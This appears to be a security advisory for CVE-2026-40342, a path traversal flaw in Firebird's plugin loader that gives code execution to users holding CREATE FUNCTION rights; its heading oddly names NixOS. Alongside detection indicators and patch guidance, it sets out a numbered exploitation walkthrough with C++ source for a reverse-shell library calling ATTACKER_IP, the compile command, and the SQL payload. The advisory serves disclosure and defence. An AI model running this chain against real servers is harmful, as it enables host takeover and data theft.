CVE-2026-40342: 
NixOS vulnerability analysis and mitigation

CVE-2026-40342 is a path traversal vulnerability in the Firebird open-source relational database management system that allows authenticated users with CREATE FUNCTION privileges to achieve arbitrary code execution on the server. The flaw affects Firebird versions prior to 3.0.14, 4.0.6 (4.x series before 4.0.7), and 5.0.3 (5.x series before 5.0.4), across Linux, macOS, and Windows platforms. It was disclosed on April 17, 2026, with patches released the same day. The vulnerability carries a CVSS v3.1 base score of 9.9 (Critical) (GitHub Advisory, Red Hat Bugzilla).

The root cause lies in PluginLoadInfo within src/yvalve/PluginManager.cpp, where the external engine plugin loader calls getPrefix(DIR_PLUGINS, engineName) — a simple string concatenation of the user-supplied engine name onto the plugins directory path — without filtering path separators (/, \) or .. components (CWE-22, CWE-73, CWE-94, CWE-427). When a user executes CREATE FUNCTION ... ENGINE "<crafted_name>", the resulting path is passed directly to dlopen() (Linux/macOS) or LoadLibraryEx() (Windows), allowing the OS to resolve .. segments and load a shared library from any location on the filesystem. Critically, the loaded library's initialization code (constructors on Linux/macOS, DllMain on Windows) executes immediately upon loading — before Firebird validates whether the module is a legitimate plugin — so code execution occurs even though the DDL statement ultimately fails with a metadata error. Unlike legacy UDF paths, the engine/plugin loader has no UdfAccess allowlist, no realpath() check, and no configuration option to restrict it (GitHub Advisory).

Successful exploitation grants the attacker code execution as the OS account running the Firebird server process — typically firebird on bare-metal Linux, root in many container images, or SYSTEM on Windows services. This results in full confidentiality, integrity, and availability compromise of the host system, enabling an attacker to read all databases, pivot to other systems on the network, or establish persistence. The risk is amplified when ExternalFileAccess in firebird.conf is set to a non-default value, as this allows an attacker to first write a malicious shared library to the filesystem and then load it, requiring no pre-existing file placement (GitHub Advisory).

A proof-of-concept exploit is publicly available in the official GitHub Security Advisory, consisting of a minimal SQL payload and a compilable malicious shared object with step-by-step reproduction instructions (GitHub Advisory). The vulnerability requires only low privileges (CREATE FUNCTION, which is commonly granted to application-level roles) and no user interaction, making it straightforward to weaponize. As of the time of reporting, there is no confirmed evidence of in-the-wild exploitation, and the CVE is not listed in the CISA KEV catalog. The EPSS score is approximately 0.076%, reflecting low but non-zero exploitation probability in the near term (Feedly). Nessus detection plugins 307396 and 315043 are available for scanning (Feedly).

1. Reconnaissance: Identify Firebird database servers (default TCP port 3050) using network scanners such as Nmap or Shodan. Confirm the version is prior to 3.0.14, 4.0.7, or 5.0.4.
2. Obtain credentials: Acquire credentials for a database user with CREATE FUNCTION privileges — these are commonly granted to application-level roles in many deployments.
3. Prepare malicious shared library: Compile a shared object (.so on Linux, .dll on Windows) containing a constructor or DllMain that executes the desired payload (e.g., a reverse shell):

#include <stdio.h>
struct Marker {
    Marker() { system("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"); }
};
static Marker m;

Compile with: g++ -shared -fPIC -o /tmp/evil.so evil.cpp 4. Place the library on the target filesystem: Upload the compiled library to a known path on the target (e.g., via a file upload feature in the application, a writable directory, or — if ExternalFileAccess is enabled — by writing it directly through Firebird). Alternatively, on systems with autofs, use a network path like ../../../../net/ATTACKER_IP/share/evil to trigger a network mount without placing a file. 5. Execute the exploit via SQL: Connect to the Firebird instance using any SQL client (e.g., isql) and execute:

create or alter function evil (val int) returns int
  external name 'udf_compat!UC_frac'
  engine "../../../../../../tmp/evil.so";

6. Code execution achieved: The library's constructor runs immediately during dlopen(), before Firebird validates the plugin. The DDL statement fails with "Standard plugin entrypoint does not exist," but the payload has already executed as the Firebird server's OS account (GitHub Advisory).

• Network: Unexpected outbound connections from the Firebird server process to external IPs on non-standard ports (e.g., reverse shell traffic); unusual inbound connections to TCP 3050 from unauthorized hosts; network mount requests (autofs/NFS) originating from the Firebird server to external IP addresses.
• Logs: Firebird server logs containing DDL errors such as "Standard plugin entrypoint does not exist" paired with CREATE FUNCTION statements referencing ENGINE names containing ../ or ..\ path traversal sequences; authentication logs showing low-privilege users executing DDL statements.
• File System: Presence of unexpected .so or .dll files in world-writable directories (e.g., /tmp, /var/tmp); new files written to the Firebird plugins directory or adjacent directories; modification timestamps on shared libraries coinciding with suspicious database activity.
• Process: Unusual child processes spawned by the Firebird server process (e.g., bash, sh, curl, wget, python); unexpected network connections initiated by the firebird OS user account; new cron jobs, systemd units, or scheduled tasks created under the Firebird service account.

Upgrade Firebird to the patched versions: 3.0.14, 4.0.7, or 5.0.4, depending on the currently deployed branch (GitHub v3.0.14, GitHub v4.0.7, GitHub v5.0.4). As an interim workaround, restrict CREATE FUNCTION privileges to only fully trusted database users, and audit existing grants to remove unnecessary permissions. Additionally, monitor Firebird logs for CREATE FUNCTION statements containing path traversal characters (../, ..\) in ENGINE names, and consider setting ExternalFileAccess = None in firebird.conf to reduce the risk of an attacker writing and then loading a malicious library (GitHub Advisory). SUSE has also released a security update (SUSE-SU-2026:1868-1) for affected Linux distributions (SUSE Advisory).

Heise Online covered the vulnerability with the headline "Malicious code vulnerability with maximum rating threatens Firebird," highlighting the critical severity and potential for full server compromise (Heise). Security researcher Jernej S. discussed the vulnerability on Mastodon (infosec.exchange), and SecurityOnline.info published a dedicated write-up on the path traversal RCE (SecurityOnline). The vulnerability was credited to reporter VladimirEliTokarev in the official GitHub Security Advisory (GitHub Advisory). Community reaction on Bluesky and other platforms noted the unusually high CVSS score and the simplicity of the exploit payload.